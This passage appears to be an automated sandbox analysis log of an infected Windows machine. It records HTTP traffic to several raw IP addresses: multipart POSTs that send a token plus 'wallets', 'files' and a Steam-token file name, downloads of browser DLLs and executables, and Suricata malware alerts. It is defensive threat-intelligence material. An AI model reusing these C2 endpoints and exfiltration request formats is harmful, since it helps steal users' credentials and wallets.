61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 46 48 4a 4a 4a 44 41 46 42 4b 45 42 47 44 47 48 43 47 44 2d 2d 0d 0a Data Ascii: ------BFHJJJDAFBKEBGDGHCGDContent-Disposition: form-data; name="token"e24808c6cc18545cff541b982298073798cbd8a3f3959cea10c6945b436780873bfde16b------BFHJJJDAFBKEBGDGHCGDContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BFHJJJDAFBKEBGDGHCGDContent-Disposition: form-data; name="file"------BFHJJJDAFBKEBGDGHCGD--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FIECFBAAAFHIIDGCGCBFHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 49 45 43 46 42 41 41 41 46 48 49 49 44 47 43 47 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 34 38 30 38 63 36 63 63 31 38 35 34 35 63 66 66 35 34 31 62 39 38 32 32 39 38 30 37 33 37 39 38 63 62 64 38 61 33 66 33 39 35 39 63 65 61 31 30 63 36 39 34 35 62 34 33 36 37 38 30 38 37 33 62 66 64 65 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 46 42 41 41 41 46 48 49 49 44 47 43 47 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 46 42 41 41 41 46 48 49 49 44 47 43 47 43 42 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 46 49 45 43 46 42 41 41 41 46 48 49 49 44 47 43 47 43 42 46 2d 2d 0d 0a Data Ascii: ------FIECFBAAAFHIIDGCGCBFContent-Disposition: form-data; name="token"e24808c6cc18545cff541b982298073798cbd8a3f3959cea10c6945b436780873bfde16b------FIECFBAAAFHIIDGCGCBFContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------FIECFBAAAFHIIDGCGCBFContent-Disposition: form-data; name="file"------FIECFBAAAFHIIDGCGCBF--
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 43 37 36 42 32 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42C76B25E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKJEGDGIJECGCBGCGHDGHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAKFIJDHJEGIDHJKKKJJHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 34 38 30 38 63 36 63 63 31 38 35 34 35 63 66 66 35 34 31 62 39 38 32 32 39 38 30 37 33 37 39 38 63 62 64 38 61 33 66 33 39 35 39 63 65 61 31 30 63 36 39 34 35 62 34 33 36 37 38 30 38 37 33 62 66 64 65 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 43 41 4b 46 49 4a 44 48 4a 45 47 49 44 48 4a 4b 4b 4b 4a 4a 2d 2d 0d 0a Data Ascii: ------CAKFIJDHJEGIDHJKKKJJContent-Disposition: form-data; name="token"e24808c6cc18545cff541b982298073798cbd8a3f3959cea10c6945b436780873bfde16b------CAKFIJDHJEGIDHJKKKJJContent-Disposition: form-data; name="message"wallets------CAKFIJDHJEGIDHJKKKJJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKECBAKFBGDGCBGDBAECHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 43 42 41 4b 46 42 47 44 47 43 42 47 44 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 34 38 30 38 63 36 63 63 31 38 35 34 35 63 66 66 35 34 31 62 39 38 32 32 39 38 30 37 33 37 39 38 63 62 64 38 61 33 66 33 39 35 39 63 65 61 31 30 63 36 39 34 35 62 34 33 36 37 38 30 38 37 33 62 66 64 65 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 42 41 4b 46 42 47 44 47 43 42 47 44 42 41 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 42 41 4b 46 42 47 44 47 43 42 47 44 42 41 45 43 2d 2d 0d 0a Data Ascii: ------BKECBAKFBGDGCBGDBAECContent-Disposition: form-data; name="token"e24808c6cc18545cff541b982298073798cbd8a3f3959cea10c6945b436780873bfde16b------BKECBAKFBGDGCBGDBAECContent-Disposition: form-data; name="message"files------BKECBAKFBGDGCBGDBAEC--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHJDHJKFIECAAKFIJJKJHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 34 38 30 38 63 36 63 63 31 38 35 34 35 63 66 66 35 34 31 62 39 38 32 32 39 38 30 37 33 37 39 38 63 62 64 38 61 33 66 33 39 35 39 63 65 61 31 30 63 36 39 34 35 62 34 33 36 37 38 30 38 37 33 62 66 64 65 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 48 4a 44 48 4a 4b 46 49 45 43 41 41 4b 46 49 4a 4a 4b 4a 2d 2d 0d 0a Data Ascii: ------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="token"e24808c6cc18545cff541b982298073798cbd8a3f3959cea10c6945b436780873bfde16b------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------EHJDHJKFIECAAKFIJJKJContent-Disposition: form-data; name="file"------EHJDHJKFIECAAKFIJJKJ--
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGIEGHJEGHJKFIEBFHJKHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 49 45 47 48 4a 45 47 48 4a 4b 46 49 45 42 46 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 34 38 30 38 63 36 63 63 31 38 35 34 35 63 66 66 35 34 31 62 39 38 32 32 39 38 30 37 33 37 39 38 63 62 64 38 61 33 66 33 39 35 39 63 65 61 31 30 63 36 39 34 35 62 34 33 36 37 38 30 38 37 33 62 66 64 65 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 47 48 4a 45 47 48 4a 4b 46 49 45 42 46 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 47 49 45 47 48 4a 45 47 48 4a 4b 46 49 45 42 46 48 4a 4b 2d 2d 0d 0a Data Ascii: ------CGIEGHJEGHJKFIEBFHJKContent-Disposition: form-data; name="token"e24808c6cc18545cff541b982298073798cbd8a3f3959cea10c6945b436780873bfde16b------CGIEGHJEGHJKFIEBFHJKContent-Disposition: form-data; name="message"ybncbhylepme------CGIEGHJEGHJKFIEBFHJK--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 36 30 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001605001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----GHIDGDHCGCBAKFHIIIIIHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 48 49 44 47 44 48 43 47 43 42 41 4b 46 48 49 49 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 32 34 38 30 38 63 36 63 63 31 38 35 34 35 63 66 66 35 34 31 62 39 38 32 32 39 38 30 37 33 37 39 38 63 62 64 38 61 33 66 33 39 35 39 63 65 61 31 30 63 36 39 34 35 62 34 33 36 37 38 30 38 37 33 62 66 64 65 31 36 62 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 44 47 44 48 43 47 43 42 41 4b 46 48 49 49 49 49 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 47 48 49 44 47 44 48 43 47 43 42 41 4b 46 48 49 49 49 49 49 2d 2d 0d 0a Data Ascii: ------GHIDGDHCGCBAKFHIIIIIContent-Disposition: form-data; name="token"e24808c6cc18545cff541b982298073798cbd8a3f3959cea10c6945b436780873bfde16b------GHIDGDHCGCBAKFHIIIIIContent-Disposition: form-data; name="message"wkkjqaiaxkhb------GHIDGDHCGCBAKFHIIIII--
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 36 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001606001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CBGHCAKKFBGDHJJJKECFHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 47 48 43 41 4b 4b 46 42 47 44 48 4a 4a 4a 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 45 38 46 30 38 41 31 36 43 39 41 32 39 31 39 33 31 34 35 38 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 48 43 41 4b 4b 46 42 47 44 48 4a 4a 4a 4b 45 43 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 48 43 41 4b 4b 46 42 47 44 48 4a 4a 4a 4b 45 43 46 2d 2d 0d 0a Data Ascii: ------CBGHCAKKFBGDHJJJKECFContent-Disposition: form-data; name="hwid"AE8F08A16C9A291931458------CBGHCAKKFBGDHJJJKECFContent-Disposition: form-data; name="build"puma------CBGHCAKKFBGDHJJJKECF--
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 36 30 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001607001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 31 36 30 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1001608001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAFBFCBGHDGCFHJJECAFHost: 185.215.113.206Content-Length: 210Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 46 42 46 43 42 47 48 44 47 43 46 48 4a 4a 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 45 38 46 30 38 41 31 36 43 39 41 32 39 31 39 33 31 34 35 38 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 42 46 43 42 47 48 44 47 43 46 48 4a 4a 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 70 75 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 42 46 43 42 47 48 44 47 43 46 48 4a 4a 45 43 41 46 2d 2d 0d 0a Data Ascii: ------BAFBFCBGHDGCFHJJECAFContent-Disposition: form-data; name="hwid"AE8F08A16C9A291931458------BAFBFCBGHDGCFHJJECAFContent-Disposition: form-data; name="build"puma------BAFBFCBGHDGCFHJJECAF--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 43 37 36 42 32 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42C76B25E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 34 32 43 37 36 42 32 35 45 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB42C76B25E82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.4:49745 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49803 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:49742 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49921 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50011 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:50039 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:50039 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.4:50027 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\K7IHXYTNUQJPI2M9UU0ECLE1K.exe

Code function: 6_2_6C61CC60 PR_Recv,

6_2_6C61CC60

Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
